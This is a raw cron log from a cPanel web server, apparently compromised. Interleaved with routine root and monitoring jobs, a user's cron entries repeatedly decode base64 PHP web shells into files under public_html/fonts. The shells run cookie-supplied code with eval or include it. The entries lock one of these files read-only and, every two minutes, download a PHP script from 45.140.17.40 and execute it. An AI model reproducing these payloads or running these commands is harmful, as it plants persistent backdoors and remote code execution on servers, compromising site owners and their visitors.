Aug 31 00:23:01 ip-184-168-122-23 CROND[31035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:23:01 ip-184-168-122-23 CROND[31037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:23:01 ip-184-168-122-23 CROND[31036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:24:01 ip-184-168-122-23 CROND[31111]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:24:01 ip-184-168-122-23 CROND[31113]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 00:24:01 ip-184-168-122-23 CROND[31114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:24:01 ip-184-168-122-23 CROND[31115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:24:01 ip-184-168-122-23 CROND[31116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:25:01 ip-184-168-122-23 CROND[31199]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:25:01 ip-184-168-122-23 CROND[31204]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 00:25:01 ip-184-168-122-23 CROND[31205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:25:01 ip-184-168-122-23 CROND[31206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:25:01 ip-184-168-122-23 CROND[31202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:25:01 ip-184-168-122-23 CROND[31201]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 31 00:25:01 ip-184-168-122-23 CROND[31203]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 00:26:01 ip-184-168-122-23 CROND[31288]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 00:26:01 ip-184-168-122-23 CROND[31290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:26:01 ip-184-168-122-23 CROND[31293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:26:01 ip-184-168-122-23 CROND[31291]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:26:01 ip-184-168-122-23 CROND[31292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:27:01 ip-184-168-122-23 CROND[31379]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:27:01 ip-184-168-122-23 CROND[31378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:27:01 ip-184-168-122-23 CROND[31380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:27:01 ip-184-168-122-23 CROND[31381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:28:01 ip-184-168-122-23 CROND[31465]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:28:01 ip-184-168-122-23 CROND[31466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:28:01 ip-184-168-122-23 CROND[31469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:28:01 ip-184-168-122-23 CROND[31468]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 00:28:01 ip-184-168-122-23 CROND[31470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:29:01 ip-184-168-122-23 CROND[31636]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:29:01 ip-184-168-122-23 CROND[31637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:29:01 ip-184-168-122-23 CROND[31639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:29:01 ip-184-168-122-23 CROND[31640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:30:01 ip-184-168-122-23 CROND[31722]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Aug 31 00:30:01 ip-184-168-122-23 CROND[31725]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 00:30:01 ip-184-168-122-23 CROND[31727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:30:01 ip-184-168-122-23 CROND[31729]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 00:30:01 ip-184-168-122-23 CROND[31731]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 00:30:01 ip-184-168-122-23 CROND[31732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:30:01 ip-184-168-122-23 CROND[31733]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:30:01 ip-184-168-122-23 CROND[31730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:30:01 ip-184-168-122-23 CROND[31728]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 00:31:01 ip-184-168-122-23 CROND[31828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:31:01 ip-184-168-122-23 CROND[31829]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 00:31:01 ip-184-168-122-23 CROND[31831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:31:01 ip-184-168-122-23 CROND[31833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:31:01 ip-184-168-122-23 CROND[31834]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:32:01 ip-184-168-122-23 CROND[31913]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 00:32:01 ip-184-168-122-23 CROND[31916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:32:01 ip-184-168-122-23 CROND[31915]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:32:01 ip-184-168-122-23 CROND[31917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:32:01 ip-184-168-122-23 CROND[31918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:33:01 ip-184-168-122-23 CROND[32003]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:33:01 ip-184-168-122-23 CROND[32004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:33:01 ip-184-168-122-23 CROND[32005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:33:01 ip-184-168-122-23 CROND[32006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:34:01 ip-184-168-122-23 CROND[32191]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 00:34:01 ip-184-168-122-23 CROND[32190]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:34:01 ip-184-168-122-23 CROND[32192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:34:01 ip-184-168-122-23 CROND[32193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:34:01 ip-184-168-122-23 CROND[32194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:35:02 ip-184-168-122-23 CROND[32298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:35:02 ip-184-168-122-23 CROND[32294]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 00:35:02 ip-184-168-122-23 CROND[32296]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
